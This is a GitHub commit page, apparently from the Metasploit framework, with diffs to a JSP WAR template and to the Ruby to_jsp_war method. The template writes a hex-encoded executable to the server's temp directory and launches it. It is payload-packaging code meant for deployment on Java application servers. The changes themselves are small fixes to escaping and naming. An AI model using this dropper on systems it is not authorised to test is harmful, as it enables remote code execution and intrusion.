Skip to content

Commit cf5ddfe

Browse files
committed
Some war fixes
1 parent dfc606f commit cf5ddfe

File tree

2 files changed

+6
-6
lines changed

2 files changed

+6
-6
lines changed

data/templates/scripts/to_jsp.war.template renamed to data/templates/scripts/to_exe_jsp.war.template

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
1-
<%@ page import="java.io.*" %>
2-
<%
1+
<%%@ page import="java.io.*" %%>
2+
<%%
33
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
44
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
55
String %{var_data} = "";
@@ -46,4 +46,4 @@
4646
{
4747
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
4848
}
49-
%>
49+
%%>

lib/msf/util/exe.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1102,6 +1102,7 @@ def self.to_war(jsp_raw, opts={})
11021102
def self.to_jsp_war(exe, opts={})
11031103

11041104
# begin <payload>.jsp
1105+
hash_sub = {}
11051106
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
11061107
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
11071108
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
@@ -1126,12 +1127,11 @@ def self.to_jsp_war(exe, opts={})
11261127
{
11271128
:extra_files =>
11281129
[
1129-
[ "#{var_hexfile}.txt", payload_hex ]
1130+
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
11301131
]
11311132
})
11321133

1133-
1134-
template = read_replace_script_template("to_jsp.war.template", hash_sub)
1134+
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
11351135

11361136
return self.to_war(template, opts)
11371137
end

0 commit comments

Comments
 (0)